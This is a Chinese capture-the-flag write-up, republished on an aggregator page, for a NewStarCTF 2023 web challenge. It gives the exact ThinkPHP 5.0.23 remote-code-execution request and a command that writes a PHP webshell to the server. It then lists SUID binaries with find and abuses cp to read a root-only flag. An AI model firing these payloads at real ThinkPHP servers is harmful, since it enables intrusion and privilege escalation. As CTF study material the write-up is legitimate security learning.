码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [wp]NewStarCTF 2023 WEEK5|WEB


     前言:比赛是结束了,但我的学习还未结束,看看自己能复习几道题吧,第四周实在太难

    Final

    考点:

    ThinkPHP 5.0.23 RCE+一句话木马上传+SUID提权(find)

     解题:

    首先页面就给了ThinkPHP V5, 那无非考的就是ThinkPHP版本的漏洞 ,经过信息收集发现确实是ThinkPHP 5.0.23漏洞 下篇文章即有现成的讲解:

    https://blog.csdn.net/Lucky1youzi/article/details/128740552

    我们按照他说的做,首先抓包进行传参

    1. GET:index.php?s=captcha
    2. POST:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

     这个参数1 是可以进行修改的,竟然能出现phpinfo页面 ,那我们就可以进行RCE,但是我们发现命令执行参数全被ban了,可能是权限的问题 ,我们上传一句话木马

    _method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'cmd']);?>'%20>%20/var/www/public/1.php

    然后蚁剑连接后发现根目录下存在flag文件

    但是里面内容没有 ,一眼没权限,我们去终端看看

    我们发现 -rwx-----意思就是只能文件主的权限使用 意思就是最高权限才能读

    尝试chmod无果

    然后我们这里就查看具有SUID权限的命令:

    1. find / -user root -perm -4000 -print 2>/dev/null

    这个利用find进行提权可以访问

    https://blog.csdn.net/rlenew/article/details/111873682

     

    我们使用cp命令SUID提权读取Flag:

    cp /flag_dd3f6380aa0d /dev/stdout

     / dev / stdout是—个特殊的文件,代表标准输出。

  • 相关阅读:
    核心实验10_hybrid(实现access和trunk功能)_ENSP
    5.【并查集】概念、代码实现、优化(Find优化、Union优化)
    [Openpcdet] Conda 更新 GCC版本 + Openpcdet踩坑之部分坑
    全球首个完全开源的指令跟随大模型;T5到GPT-4最全盘点
    制作一个简单HTML电影网页设计(HTML+CSS)
    echarts 柱状图加背景加渐变
    异常处理(try,catch,finally)
    Spring之Bean的初始化和销毁
    JVM:(十二)StringTable
    MybatisPlus多表连接查询一对多分页查询数据
  • 原文地址:https://blog.csdn.net/m0_63138919/article/details/134254901
  • 最新文章
  • AI 让 SeaTunnel 读源码和调试过时了吗?
    修改网口MTU说明
    ELK 学习总结
    深度学习进阶(二十二)T5:NLP任务的首次大一统
    XRPC:一个能写进简历的 C++ 高性能分布式 RPC 框架,QPS 13万+
    Windows 下切换 Java 环境太复杂了,我做了个 cli 工具,可以快速安装,切换 Java 版本
    SHP文件与PostGIS数据库Geom字段:WKT和EWKB相互转换SQL
    Spring AI 2.0 GA 倒计时:先别急,来看看 Java AI 框架的另一条路
    【php】老旧PHP项目(PHP 5.6)本地环境搭建与踩坑记录
    15. 别再硬写提示词了!LangChain ChatPromptTemplate核心实战
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号